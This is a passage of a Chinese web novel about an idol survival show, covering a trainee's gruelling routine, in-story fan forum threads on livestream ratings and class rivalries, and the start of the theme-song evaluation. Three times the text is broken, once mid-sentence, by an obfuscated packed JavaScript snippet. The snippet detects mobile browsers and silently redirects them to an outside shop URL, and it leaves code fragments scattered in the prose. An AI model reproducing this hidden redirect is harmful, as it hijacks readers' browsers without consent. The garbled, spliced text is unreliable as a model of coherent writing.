;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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又凶残,又透着一种可怕的健康感。 李瑞无言以对。 “你……你这准备得太充分了。”李瑞最终只能这么感慨。 从安收起药瓶:“没办法,目标在那里。” 看着从安手里的药瓶,李瑞脑回路一转,却不由自主地想到:按照从安这种靠药品来维持身体机能的减肥方法,如果吃的药够多,是不是其实不用吃饭? 只是这个念头刚出,李瑞就忍不住打了个寒颤,飞快地把这个念头从脑海中甩了出去。 从安现在的减肥食谱就已经够非人的了,再减,那就可以直接回家了。 晚饭后的练习室,气氛明显松弛了许多。 白天的兴奋和紧迫感被持续的高强度消耗磨掉了一大半,不少练习生虽然人还在练习室,但效率明显下降。 有人对着镜子跳着跳着就开始走神,或者干脆坐下来,和旁边的人低声聊天,说起哪个班的谁好像特别厉害,或者抱怨某个动作太难。有人故意在镜头前做鬼脸、讲笑话,试图制造一些轻松的“素材”。还有人练一会儿就溜出去,在走廊晃荡一圈,喝点水,看看别的班的情况,再慢悠悠地回来。 时间滑向晚上九点,开始有人陆陆续续收拾东西离开。 十点时,偌大的C班练习室已经显得空荡,只剩下寥寥数人还在对着镜子较劲,镜子里映出的身影,大多也透出浓浓的疲惫。 而从安,还在那里,他的节奏比白天慢了一些,但依然稳定。 不再进行高强度的连续唱跳循环,而是分段反复打磨那些他标记出的难点——某个旋转后的衔接,某句高音在特定舞步时的气息控制。 他的头发完全被汗水浸湿,脸色在灯光下显得有些苍白,但眼神里的专注却没有丝毫涣散。 直到晚上十一点,练习室里只剩下包括从安在内的最后两三个人,他才终于停下,慢慢做了几组拉伸,收拾好自己的东西,安静地离开了。 回到宿舍,已经是一片属于夜晚的松弛氛围。 秦宽和汪元白已经洗过澡,穿着宽松的睡衣,正凑在一起看汪元白平板上的什么搞笑视频,床头还放着刚从小卖部带回来的薯片包装袋。 夏实在阳台洗漱台上洗漱,哗啦啦的水声传来。 “从安回来啦?今天练到这么晚?”秦宽抬头打招呼。 “嗯。”从安应了一声,脸上带着疲惫但平和的神色。 “我们买了薯片,要不要来点?”汪元白举起袋子示意。 “不用了,谢谢。”从安摇摇头,拿着洗漱用品进了卫生间。 等他带着一身清爽的水汽和牙膏味出来时,夏实也刚好爬上床。 “真不吃点?晚上消耗那么大。”秦宽又邀请了一次。 “不了,刷牙了,早点休息。”从安爬上自己的床铺,躺下,拉好被子。 身体的疲惫如同潮水般瞬间席卷而来,每一个关节都在发出酸软的信号。 隔壁床传来窸窸窣窣吃薯片和压低的笑谈声,空气里浮动着零食的香气。 从安闭上眼睛,那些声音和气味仿佛迅速远去。 高度集中精神和高强度运动后的空虚感,混合着切实的肌肉酸痛,将他迅速拖入了沉沉的睡眠。 在他陷入沉睡的呼吸声中,隐约还能听到秦宽极低的感慨:“……是个狼人。” 22.第 22 章 【数据丨直播第二天了,各班级直播间观看时长及热度波动分析】 —— 【主楼】 统计了一下今天前台的直播数据 今天整体观看人数较第一天有小幅下降,但比昨天更加稳定,说明留下的观众黏性更高。 分教室看: A班直播间:热度最高,峰值最高集中在上午导师指导和下午自主练习时段。尤其是下午快结束的时候,他们五个人一起跟着伴奏唱跳的那个切片,一晚上过去,已经有了百万播放,评论区都在说他们实力突出,可以打包出道了。 B班直播间:热度稳定,比A班差,但比剩下的几个班好很多。B班练习生不少,实力也不差,潜力股很多,看他们的粉丝多完全能够理解。 C班直播间:单日热度落差最大!热度一直在波动,不断起伏,说明时不时就有人进来,又有人出去。不过今天C班确实有不少效果,我这里就不分析了。 D/F班直播间:热度很低,和前面几个直播间比起来不多天堑,也确实是鸿沟,看来今年D/F班很难有黑马了,目前也没看到什么有潜力的练习生。 结论:A班和B班不愧是AB,导师还是有眼光,好坏差别初舞台还不真切,但今天主题曲学习真的很明显。C班有希望,看后期能不能冲上来。至于DF,我只能说加油吧,现在实力没有话题没有热度也没有,难绷哦。 [表格图片][表格图片][表格图片] 1楼 同感 2楼 今天确实一直挂在A班直播间,其他几个直播间也去看了两眼,但很快就出来了 跳得啥呀,也太差了 只有看A班才有真的是在看偶像预备役的感觉 看其他班……跟我看邻居家的小学生有什么区别? 3楼 数据贴DD 4楼 哇,好详细的分析,楼主好厉害 不过D班和F班数据居然这么差吗?那练习生岂不是一点曝光都没有 和其他人比起来,出道希望完全渺茫吧 5楼 回复4楼 前些年也是这样啊,想从后面往上冲,基本都是大剧本,要么就是脸好看得惊心动魄 不然实力差长得丑,怎么可能出道 不过今年是直播,相信网友们不会放过任何一个可造之材,如果真的有潜力,相信哪怕是在D班或者F班,大家也能把他挖出来 前些年不是没有这样的人 6楼 回复5楼 没错没错!大家眼神都很尖的! 7楼 今天几个直播间都看过两眼,A班真不愧是A班,真的太强,感觉后面那些人很难追 看师启那个wave的质感,已经跳出教学版本有自己的味道了 查舟下午自己加练那段编舞,绝了 8楼 B班有几个也不错,陈子谦唱歌真好听啊,像清泉一样 司景曜……孩子努力是真努力,但那个四肢不协调的样子,又好哭又好笑 9楼 D班和F班也没那么差吧,我刷到D班有个弟弟哭得稀里哗啦然后擦干眼泪继续跳,给我看心疼了 他们也很努力啊 …… 【男团学丨才第二天,就这么精彩了吗】 —— 【主楼】 众所周知,本季星光熠熠前所未有的进行了全程直播 楼主一眼就看出了节目组的心思 绝对不怀好意! 毕竟谁不知道,每年选秀,可是‘故事’最多的时候 但没想到才第二天,这群练习生就已经这么有效果了吗? 来来来,让我们迎接今天的主人公登场——C班一众练习生! [截图]首先是故事的开端,主题曲公布 今天的座位和昨天自己随便坐不一样,今天是每个等级的练习生坐在一起 楼主的眼睛第一时间都被那片粉丝的身影给吸引了 毕竟有谁能不爱粉色呢? 于是楼主今天就很干脆地只看C班了 结果不看不知道,一看吓一跳 从直播一开始,C班就很精彩了啊! [截图]交际花安文乐和每个人都打招呼,独独略过了从安,这究竟是人性的扭曲还是道德的沦丧又或是有什么不可告人的秘密?让我们静待后续! [截图][截图]昨天激情麦麸今天突然两看生厌,莫非一夜过去此二人之间的感情遭受了波折?令人好奇。 [截图]倨傲王子敖立轩一改昨日作风,从不屑一顾到积极热情,面对身边一众C班同伴,展现了如春风般温暖的笑脸,其突然的转变,叫人惊叹。 [截图]此人在镜头前自信展示完美侧颜,却不料阴影太过生硬,下颌突兀的一抹棕色让人移不开视线。 [截图]从安人缘大好,许多人都向他打招呼。 以上,是直播开始五分钟的C班一览图。 时间虽短,但已然发生不少故事。 接下来让我们开启第一环节,主题曲公布! [截图]导师们激情示范,十分帅气且卖力,让人不由得赞叹老当益壮(bushi) [截图]晏尔不愧当红歌姬,开口惊艳众人,练习生们难掩惊讶和害怕(放心,你们唱不了这么好) [截图]一个后空翻,练习生们惊掉大牙(这么难的动作真的有人能做出来吗?不会把腰摔断吧?) [截图]主题曲结束,练习生们献上掌声与欢呼(赶紧欢呼吧,之后就再也没有机会了) 好的,欣赏完帅气的主题曲之后,让我们进入今天的主题! 浅析C班精彩片段! [截图]从演播厅回练习室,C班练习生的走位已经可以看出他们的关系分布,相熟练习生走在一起,独狼练习生一个人跟着 [截图]到达练习室,表情夸张(不是,虽然是直播,但是当着镜头做这样的表情真的太假了,收着点吧) [截图]等人到齐,王硕自信自荐先行扒舞,再由他带领其他练习生练习 [截图]有人赞同 [截图]有人惊讶 [截图]有人思考 [截图]有人不屑 直播镜头真的很高清,短短两秒,大家的表情都捕捉得很清楚 楼主在王硕开口第一时间,就知道这件事办不成,果不其然,马上有人支支吾吾地反对。 于是经过半小时的讨论,C班练习生推选出3名练习生扒舞,由此,再结合刚才大家一起前往练习室的站位,也不难看出这三名练习生身边都有自己忠实的‘伙伴’ [截图]三名练习生激情扒舞,但大败而归,一个小时过去,进度平平 [截图]有人惊讶 [截图]有人不满 [截图]有人生气 [截图]此时,从安从天而降!带着完整的主题曲舞蹈,成为了C班练习室第一个完整扒下整支舞的人! [截图]有人惊讶 [截图]有人大喜 [截图]有人生气 [截图]从安带领众人跳舞 [截图]有人不屑 [截图]有人生气 [截图]有人安心 短短两个小时,C班就发生了如此多的事情 楼主不做过多分析,只是截图的搬运工,至于到底发生了什么,相信大家自有判断 剩下的等我休息一会儿,有空了再回来继续更 1楼 先马再看 2楼 好多字,辛苦楼主了 3楼 直播第二天就有男团学了?要不要这么快 4楼 C班人最多,大家心里各有各的小九九,有事发生很正常扒 5楼 看完了,先佩服一下楼主眼神真好,能把这么多人的表情看的这么清楚,也辛苦楼主截图了 这么看下来,总结一下,首先就是安文乐和从安有矛盾? 安文乐我记得,他好像挺热情的,昨天老是能看到他和其他练习生说话,大家好像也都认识他,他对谁也都是一副笑脸,今天看他和其他人打招呼,和昨天也差不多,如果独独没和从安打招呼的话,那确实有什么问题吧。 然后就是有昨天麦麸的,今天不卖了?这是不打算卖了吗? 敖立轩的话,昨天是坐在从安身边那个吧?我有刷到从安粉丝发的视频,好像看到过敖立轩来着,印象里他确实没什么好脸色,这么一比,今天确实热情得出奇。 然后主题曲环节,今年主题曲看起来还挺难的,C班练习室虽然大,显示屏也大,但所有练习生一起看屏幕学舞也不现实,肯定有人站在前面有人站在后面,王硕主动说自己先学然后再教也还行吧,毕竟听他自己说也是有经验的,但是其他人为什么不同意?这就很值得深思。 然后其他人不同意也就算了,还选了新的三个人出来先扒舞……很难评啊 结果这三个人没学会……更难评了,他们的脸色都好难看 结果最后是从安最先学会了舞蹈……行吧 这么看下来,C班这些人确实想法很多哦 6楼 回复5楼 感谢课代表,懂了 7楼 楼主好有才,好会截图,主楼里每一张图都笑掉我大牙 8楼 C班这群人就是生怕别人镜头太多自己镜头太少呗 这种小心思太好看出来了 真是服了 别人镜头少你镜头就能多了?无语 9楼 C班居然发生了这么多事呢? 我今天看的是A班的直播,他们一进练习室就开始一起扒舞,很快就扒完了,然后还互相教,一个上午五个人就全学会了 结果C班居然花了半个小时去选谁先去扒舞吗?救命 本来实力就差,还搞这种东西,拿什么和A班比啊 10楼 B班的大家也很好,那些舞担先学,学完了去教歌担,也没人这样纠结这么久啊 也没说要选一个舞担先学啊 那些歌担很自觉地就站到后面去了 那些舞担学会之后也很自觉地就去教歌担了 我还以为大家都是这么和谐呢 11楼 A班居然学得这么快吗我的天 我看F班一整天了都没人学会呢 12楼 所以C班从安学得最快?这么强?我还以为他家粉丝说他有实力都是粉丝滤镜 结果这么看下来,好像确实还是有一点实力的哈 13楼< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16891817|190127||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>自己想要镜头,结果镜头都被从安抢走了 哈哈笑死 14楼 等楼主继续更 …… 【浅析A班实力差】 —— 【主楼】 如果说初舞台是精心准备端上来的蛋糕,充满了提前准备的甜蜜与美味,那主题曲学习,才是大家最真实的实力展现 首先是师启,海外对年练习生出道预备役的实力真的是完全没话说,一个早上的时间,就已经把舞蹈完整地顺了下来,到了晚上,就颇具个人特色,每个动作都完美得像是被尺子量过,学得又快,跳得又好,甚至就连歌,都学得差不多了,这就是全能ACE的实力吗 然后是查舟,手长腿长跳舞就是有优势,太有气势了,而且混血脸真的很有攻击力啊,虽然舞蹈细节还差了师启一些,但是对着镜头跳舞的时候,那个表情管理,那个优越的身材,真的让人移不开视线 然后柯子晋,光芒娱乐的秘密练习生,藏了这么久,第一次露面就这么经验,光芒到底从哪里挖出来的苗子啊!舞蹈完全不比查舟差好吗,完全可以当一个舞担,但谁知道,柯子晋居然是歌担!我的天,跳得这么好的同时,居然唱得更好!这还给不给别人活路了? 接着闻辰,今年第三次参加选秀了,实力也越来越好了,看得出来经历了很努力的练习,现在也是毫无疑问的全能ACE了 最后余修文,我真是想不到他居然会来参加选秀,可以说吗,我是看着他的剧长大的,结果我长大了,他也长大了,然后我又来看他的选秀了,但更让我想像不到的是,他的实力居然不差!我的天哪,他不是演员吗?他不是童星吗?他什么时候去练习的?还练得这么好?还是说天生就是吃这碗饭的啊? 在刚开始看到余修文的时候,我觉得他不该来参加选秀,他就应该演戏,但等现在看到了余修文的舞台,看到他学习主题曲的速度,我觉得他确实该来选秀,但是我又好想看他继续演戏……唉,好矛盾啊 最后总结一下吧,五个人实力都很强,没有谁更好谁更差的区别,只是有更擅长什么的区别。 师启全能,查舟RAP,柯子晋VOCAL,闻辰DANCE,余修文门面 好家伙,一个完整的组合已经出现了 就这么出道吧 1楼 楼主就这样五个人都夸了一遍 2楼 这五个人确实很难选啊,好得很突出了 3楼 今年的星光熠熠真是不错啊,这五个A就完全吊打以前的 4楼 回复3楼 话也不能这么说吧,以前的A也很强啊 5楼 楼主的想法和我一样,嘿嘿,看到他们五个我就开心,接他们五个全都出道 6楼 看完今天A班今天最后一起练习的切片,感觉A班真的是好的太突出了 他们五个必出道吧?只要在节目播完之前没塌 所以今年的星光熠熠,就是在给他们五个挑队友? 7楼 回复6楼 从目前的趋势看,感觉差不多就是这样的说 …… 【司景曜的舞蹈进度到底怎么样了?能赶上吗?】 —— 【主楼】 纯关心 这孩子嗓子没得说,态度也绝对认真,但舞蹈底子太薄了 今天一整天看下来,不能说孩子不努力,但真的……跳得太差了,三天时间他真的能学会吗? 1楼 同担心 他直播里,经常一个动作反复做好多遍,但改进不大,看着着急 2楼 舞蹈老师好像对他特别关照,但有些东西不是一时半会能补上的,感觉他压力不小 3楼 能不能考虑扬长避短?考核会不会侧重唱?但这是唱跳主题曲啊…… 4楼 相信曜曜!他那么努力,一定会有奇迹!舞蹈不行我们就用vocal炸场! 5楼 现实点吧,跳成这样,考核时在齐舞里会非常突兀,很扣分,除非节目组保他 …… 【有些人是来练习的还是来拍真人秀的?镜头前能不能别那么戏精?】 —— 【主楼】 不点名,某些练习生,练习十分钟,休息半小时,休息时间全在镜头前展现自己的疲惫、可爱、或者和别人的‘友情’ 尤其是晚上,C班D班都有,生怕别人不知道他们累了、他们在互动 我真服了,我在看选秀!如果我真想看你们的‘友情’,我自有选择好吗! 1楼 我懂你……特别是那个总在镜头前做夸张表情和讲冷笑话的,尴尬得我脚趾抠地 2楼 自从知道节目是直播之后,他们就更夸张了 啊啊啊啊啊真的看不下去 怪不得A班直播间热度高了,这么对比下来,A班真的是清流吧 长得帅,有实力,不作妖,从头到尾一直在练习,还十分和谐……我真的求求了,其他班你们就收着点吧 3楼 这是生怕自己没有话题啊 但是能不能想一下想要什么样的话题? 臭名昭著也出不了道啊 …… 23.第 23 章 凌晨四点五十分,闹钟将从安从深沉的睡眠中唤醒。 按掉在被子里不断发出声音的闹钟,从安在床上挣扎了一下,悄无声息地翻身下床。 同宿舍的三人睡得正熟,夏实甚至发出了轻微的鼾声。 昨晚有人练到凌晨两三点才回来,此刻正是最困倦的时候。 从安换上运动服,轻轻开门离开。 走廊里空无一人,只有尽头安全出口的指示灯泛着幽幽绿光。 离开宿舍楼,凌晨的空气带着沁入骨髓的凉意,瞬间驱散了最后一点睡意。 宿舍楼门口的显示屏显示着今天的录制通告。 主题曲考核再评级。 经过三天的练习,终于到了主题曲考核的这一天。 从安围着园区开始晨跑,环形步道上只有他一个人的脚步声和呼吸声。 他没有像前几天那样追求心率,而是进行着更舒缓的慢跑和拉伸,让沉睡了一夜的身体慢慢苏醒,为即将到来的考核做最后的准备。 练声时,也格外注意保护声带,只做最基础的音阶和气息练习,确保开嗓的同时不过度消耗。 一切好似如常,却又更加谨慎。 六点半,从安走进食堂。 刘姨看到他,立刻从保温柜里拿出准备好的餐盒:“小安,今天考核,给你多加了半个鸡蛋和一点燕麦。” “谢谢刘姨。”从安接过,心里微微一暖。餐盒里的内容依然清淡,但分量确实比前几天稍多了一丝。 来自熟人的关切,令人感动。 刘姨在窗口看着从安安静吃饭,心里忍不住叹气。 从安的年纪和她的孙子差不多大,但她孙子整天除了吃喝就是玩乐,放假时也天天躺在床上玩手机,早上不睡到日上三竿根本不起床。 但是从安呢?从去年刘姨认识从安的时候起,从安和他的一众伙伴,就已经是这样天不亮就起来锻炼,控制饮食的生活作息了。 这份努力,这份坚持,让刘姨虽然不理解,但也不得不受到震动。 从安细嚼慢咽地吃早餐,他刚来到食堂时,食堂还只有他一名练习生,等他差不多吃完要离开的时候,已经零星有其他练习生来到食堂了。 看见独自一人的从安,他们互相之间简单打了招呼,也没多说什么,就各自埋头干饭。 很快从安就吃完了早餐。 从安回到宿舍时,秦宽和汪元白刚被闹钟吵醒,正痛苦地在床上蠕动。 夏实则把自己整个埋在被子里,发出含糊的抗议。 今天他们的闹钟比往些天早些,主题曲考核摆在眼前,大家都提起了百分百的精神。 见三人还在床上磨蹭没有动静,从安喊了一声:“起了,今天考核。” 他的声音平静,却像一盆冷水,让床上的三人瞬间清醒了几分。 “啊……真的要考了……”秦宽哀嚎一声,挣扎着坐起来,眼下挂着明显的青黑。 他昨晚在练习室待到快两点,而现在才刚刚七点。 不到五小时的睡眠,实在是让人难以清醒。 秦宽睁着迷蒙的双眼看向从安。 一身粉色训练服简单又清爽,虽然每天早起,但可能是睡得比他们早又或者是每天作息稳定,素颜的从安小麦色肤色健康,双眼水润漆黑,嘴唇也泛着健康的红色。 光是站在那儿,就是一股扑面而来的青春气息。 秦宽翻身下床,迈着僵硬的步伐和疲惫的身躯来到洗漱台前。 抬眼,和镜中的自己对上视线。 “——啊!” “怎么了?”从安手按在卫生间的门把手上,还没推门,就听见身后秦宽崩溃的喊声。 他不由得回头看去。 “我,我——我怎么成这样了!”秦宽双手崩溃抱头,不敢置信地看着镜子里的自己。 苍白的脸,黝黑的眼圈,布满红血丝的眼白——秦宽觉得自己看到了末日片里的丧尸。 秦宽一回头,和从安对上视线,整个人顿时更崩溃了。 一个是水嫩洋气充满青春气息的从安,一个是宛如被吸干了精气下一秒就要上天的自己……不过几天时间,怎么会变成这样? 从安是长这样的?自己是长这样的? 不是吧? 是不是有哪里不对? 等从安洗完澡洗完头,换上干净的粉色C班训练服,擦着头发离开卫生间时,宿舍里其他三人也刚刚收拾完毕。 经过过去三天的磨合,他们四人之间已经初具默契。 从安起得最早,早到人神共愤没人能在这个时候跟着起来。 但是从安的闹钟声音调得小,他也基本上闹钟一响就能醒,然后按掉闹钟,接着就是非常小声的收拾。 所以从安哪怕天天早起,也没有影响到自己的室友,甚至从安安静到一度让自己的室友怀疑从安是不是没有回来睡觉。 不过每天晚上从安都是在众人的注视中入睡——从安虽然起得最早,但他也睡得最早——所以这毫无根据的怀疑也只是一个玩笑。 等从安早早起床离开,出去晨练吃完早餐回来,刚好能赶上室友们的集体起床时间。 室友们在洗漱台洗脸刷牙,从安在卫生间洗头洗澡,既没耽误自己,也没耽误别人,犹如榫卯结构一般契合。 然后四人收拾完毕,室友们去食堂吃早餐,从安去化妆室化妆。 这样三天下来,四人之间的作息隐隐形成了默契。 这会儿看到从安从卫生间出来,大家都毫不意外,已然习惯。 “从安,你……你紧张吗?”夏实忍不住问了一嘴,声音有点干。 一想到今天就是检验过去三天练习成果的时候,哪怕是B班的夏实,也忍不住有些紧张。 不,或许正因为他是B班,所以他才格外紧张。 在距离A班最近的位置,又怎么能忍住不去渴望那个A?这三天的练习,夏实每天都在朝着A班努力,眼看今天就到了验收最后成果的时候了,期待又害怕的情绪便不由自主在心里蔓延开来。 从安对着镜子整理了一下衣领,看了看镜中自己的脸。 眼神清晰,没有血丝,状态比他预想的要好。 “还好。”他顿了顿,补充道,“该练的都练了。” 这句话听起来平淡,却让其房间内莫名安静了一下。 该练的都练了。 是啊,这三天,他们该练的都练了,没有分毫懈怠。 今天的结果,就是对他们实力和努力的考核,此刻的紧张,没有丝毫用处。 秦宽看向从安,眼神复杂。 他和从安都是C班,从安每天的练习都落在他的眼里,此刻在宿舍的四人,除了从安自己,只有他最清楚从安的练习成果了。 眼看着夏实和汪元白这两个B班的人,好似因为从安的话变得轻松了些许,但秦宽却不由得更加紧张起来。 主题曲考核,他能拿到怎样的成绩? 秦宽心里没底。 上午八点,化妆间里弥漫着比往日更浓的化妆品气味和紧绷的气氛。 化妆师们手下飞快,练习生们大多沉默着,有人闭目养神,有人嘴里在无声地唱着主题曲,手上也跟着做出对应的舞蹈动作。 从安静静坐着,任由化妆师在他脸上涂抹。 他能感觉到旁边座位上周骏微微发抖的腿,也能听到不远处李瑞压低声音反复念叨某段歌词。 化完妆,佩戴好麦克风,所有人前往演播厅。 金字塔形的阶梯座位再次坐满,但氛围与初舞台时截然不同,少了好奇与张扬,多了疲惫与隐晦的焦 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16905917|190127||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 虑,窃窃私语声如同潮水般在座位间流动。 “你最后那段副歌稳了吗?” “别提了,我早上起来感觉嗓子有点紧……” “听说A班那几个怪物能原速完整跳三遍不带喘的?” “B班好像也有几个跳得特别好的……” “完了完了,我感觉我动作还没记全……” “导师打分严不严啊?” 练习生们的目光像探照灯一样在人群中扫来扫去,尤其在那些公认练得好的人身上停留。 A班的五名练习生,B班的大多数练习生……许多练习生的视线落在他们身上,在心里猜测着他们这次考核的成绩。 是会维持不变,还是更上一层楼?又或是在脱离了初舞台精心的设计和专门的长期的练习之后,三天的突击练习撕破了他们实力的伪装,显露出他们真实的样貌? 从高处跌落,成为无数C班D班练习生的一员? 从安能清晰感觉到落在自己身上的视线,他顺着看去,对上各式各样的目光。 好奇、评估、不甘、期待…… 从安微微抿唇,在自己的C班位置上坐下,腰背习惯性地挺直。 上午九点整,所有灯光聚焦舞台,录制正式开始。 在练习生们看不到的地方,直播也准时开启。 无数观众第一时间涌入,看着亮起的屏幕,看着画面中整齐的一百名练习生。 总导演杜唐的身影出现在舞台中央,镜头没有对准他,只有声音透过麦克风,传入每名练习生耳中,传进直播间。 没有过多寒暄,直接切入正题:“各位练习生,三天时间已到。今天,进行《星光熠熠》第二季主题曲《星光》考核。” 【哇哇哇主题曲考核终于来了!】 【再评级!好刺激】 【嘿嘿我宝肯定拿A】 【请大家支持全能ACE师启,给师启投票吧!】 【今天居然就主题曲考核了吗?这么快?】 【听说今天主题曲考核,专门来看了,这些练习生练得怎么样啊?】 直播间里涌现无数弹幕,密密麻麻,遮住了练习生们的脸,只有杜唐的声音十分清晰。 “考核规则如下:以班级为单位,每五人一组,进入表演房间进行主题曲展示。导师团五位老师,将在各自独立的评审房间,通过实时传输画面,同时观看你们的表演。每位导师根据你们的综合表现独立打分,满分20分,五位导师分数相加即为个人最终得分。” “考核结束后,将根据最终得分重新评定等级,分数最高的获得主题曲MV中心位。” 五人一组!导师独立打分!屏幕上的大字规则让台下响起一片压抑的惊呼。 有人喜有人忧。 喜的是身边有同伴,这样自己的压力就能小一点,甚至记不住动作的时候,还能通过实现余光看到身边人的动作,跟着跳出来。 但忧的是,一起表演,则好坏的差距会格外明显。好的更好,坏的更坏,这让一些人压力剧增,不由得在心里默默祈祷,和自己一组的练习生实力都比自己差。 而导师们分开在不同房间各自打分,则让导师们完全没有了讨论的空间,只能按照自己的标准进行判断。 是好是坏,只有导师自己的评判。 倒也没有不公平,毕竟每名练习生都是相同的五名导师的打分,每人都是相同的评判标准。 “直播间将同步播放表演画面及五位导师的实时反应与评分。”杜唐的声音还在继续,“现在,A班练习生,第一组,准备入场。其他练习生,请通过现场大屏幕观看。” 舞台上巨大的屏幕亮起,一个空白的练习室画面展现在练习生们面前。 在屏幕下方,有五个小分屏,每个分屏里坐着一名导师。 24.第 24 章 A班的五名练习生已经在工作人员的带领下离开了演播厅。 没过一会儿,屏幕里练习室的画面中,就出现了他们五人的身影。 金色的训练服,在练习室通明的灯光下显得格外耀眼,五人不就不俗的相貌,此刻显得更加夺目。 “师启也太帅了一点。”有练习生忍不住低声向身边的同伴开口。 他的同伴看了一眼大屏。 舞台上的显示屏是一整面墙的显示屏,像演唱会的大屏似的,此刻将五人的画面毫无遮挡的出现在屏幕上。 占据了整个墙壁。 让众人哪怕隔着不近的距离,也依然能无比清晰地看到画面。 而师启的脸,在这样大屏的显示下,更显夺目。 华丽,艳丽,锐利的眉眼,高挺的鼻梁,白皙的皮肤,殷红的嘴唇……没有瑕疵。 毫无质疑,在看到师启的第一眼,感受到的就是无比惊艳的颜值。 “同样是两个眼睛一个鼻子一个嘴巴,怎么就有人能长成这样呢?”他的同伴赞同点头。 如果不是师启站在他的面前,他一定会以为这种脸只存在在建模里。 师启站在五人最中间,他的右手边分别是余修文和闻辰。 余修文童星出道,从小演戏,小时候那一副乖巧可爱的相貌,在电视剧里一出现,就让无数人母爱爆棚。 如今余修文长大,十九岁的少年充满青春气息,脸部轮廓变得明显,没了幼时如天使般的可爱,但流畅的脸部线条,干净清澈的双眸,自带笑意的唇角,依然让人一看就心生好感。 特别是余修文性格活泼,未语先笑,对着镜头落落大方,此刻在大屏幕上,他双眸弯弯,脸侧浮现梨涡,感染力十足,让人也忍不住跟着他一起笑了起来。 闻辰没有师启的艳丽,也没有余修文的感染力,但他干净的气质,也格外吸引人。 往那儿一站,犹如一根松竹,挺拔不屈,充斥着向上的生命力。 左边是查舟和柯子晋。 混血的查舟轮廓清晰,大体量的五官存在感十足,少了几分闻辰和余修文的精致,但多了几丝充满侵略性的野性和张力。 少了少年的含蓄,多了成熟的美。 而柯子晋和查舟几乎完全两个极端。 高挑清瘦,抬眼,勾唇,轻笑,一举一动都透着精心的设计,无论从哪个角度,都宛如最完美的画作,被精心装裱,挂在墙上等人观赏。 五个人,五种风格,但相同的是,此刻显示在大屏幕上的他们,每一个都让人移不开目光。 有练习生看着看着,就忍不住低下了头。 在同一个节目中选秀,竞争对手如此突出,他们拿什么去争? 承认他人的优秀,接受自己的平庸吗? 他们不愿在镜头前展露自己失落的一面,只能低着头,不让镜头拍到自己的脸。 A班五人达到练习室,自我介绍之后,茅安康就开口示意五人可以开始表演。 听到从广播里传来的声音,五人抬头看向广播,确认之后,朝着镜头点了点头,画面上清晰地出现了五人点头的动作。 导师和表演的练习生不在一个房间。 练习室里只有表演的五人,然后就是五人面前的镜头。 没有镜子,面对他们的是一整面白墙,然后就是一台台黑压压的机器。 表演的练习生看不到自己的动作,也看不到身边人的动作,只能靠着自己过去三天的练习,跟着音乐进行舞蹈。 就像站在舞台上一样。 导师们待在单独的小房间里,除了拍摄的镜头,就只有能看到练习生们的屏幕。 在看到A班练习生的点头之后,很快,练习室内就响起了主题曲的音乐。 师启等人的表情也骤然一变。 双眸坚定锐利,只是面前的镜头毫不退缩。 ——主题曲考核,正式开始! 几乎在第一个鼓点响起的瞬间,五个人的身体便同步律动起来。 那是一种经过千锤百炼的、近乎本能的反应。 侧身,延展,指尖划过空气——五人的动作整齐得令人头皮发麻。 演播厅内顿时响起一阵惊呼。 “好整齐啊!” “我的天!” “这就是A班的实力吗?” 虽然同样在练习,但练习生们以班级为单位,大部分人都是待在自己等级的练习室里。 出去四处乱窜的人也有,但也不是人人都去看了其他人的练习成果。 此刻更多的练习生,是第一次看到A班的主题曲表演。 光芒娱乐备受期待的练习生的柯子晋,动作兼具力道与流畅,每一个定点都干净利落,框架稳定得如同教科书。 舞蹈已经足够出色,等到了第一个唱段,他的歌声更是抓耳,清亮而稳定的音色穿透了伴奏,毫不费力地涌入每个人的耳中,令人惊叹。 同时在需要大幅度移动的舞步中,他的气息也丝毫不见紊乱。 音乐专业出身的扎实功底,在此刻展现得淋漓尽致。 在他旁边的查舟也丝毫不落下风,查舟的身材虽不瘦削,但一米八八的身高跳起舞来,也没有大众刻板印象里的笨重,反而充斥着力量的美,每个动作都带着一种天然的舞台张力。 他的舞蹈幅度大,充满力量感,偶尔看向镜头的瞬间,那双深邃的眼仿佛能将人抓到镜头中去。 RAP担的咬字和发音,在唱起歌来也不显得突兀,反而有股特殊的和谐。 而备受关注的师启,更是完美的诠释了何为实力,展现了他多年练习的功底。 不再是初舞台的精心准备,三天时间,唱和跳,此刻在师启的展示下,浑然一体,毫无瑕疵,仿佛经过多年的练习,熟悉得不能再熟悉。 他的动作没有一丝多余,精准到毫米,wave的层次感、旋转的稳定度、跳跃落地的轻盈感,都堪称范本。 甚至就连表情管理,他也展现得如舞台一般完美。 尽管是一个三天练习后的考核舞台,但此刻站在镜头前的师启,耀眼的就像舞台上的光。 闻辰也不遑多让,动作扎实,没有任何花哨,透着一股千锤百炼后的可靠。 多年的练习,让他对自己身体的掌控达到了一个绝无仅有的境界,虽然前两次参加选秀都没有出道,但厚积薄发,这一次的闻辰,早已经有了翻天覆地的改变。 此刻主题曲表演的自信,就是最清晰的答卷。 而在五人中练习时长最短的余修文,靠着童星的身份吸引了无数人的目光,但也受到了无数的质疑。 初舞台A的成绩,是对他的肯定,也是观众对他最直白的疑问。 一直演戏的演员,能在演戏和平衡学业的同时,还付出时间与精力进行唱跳练习吗? 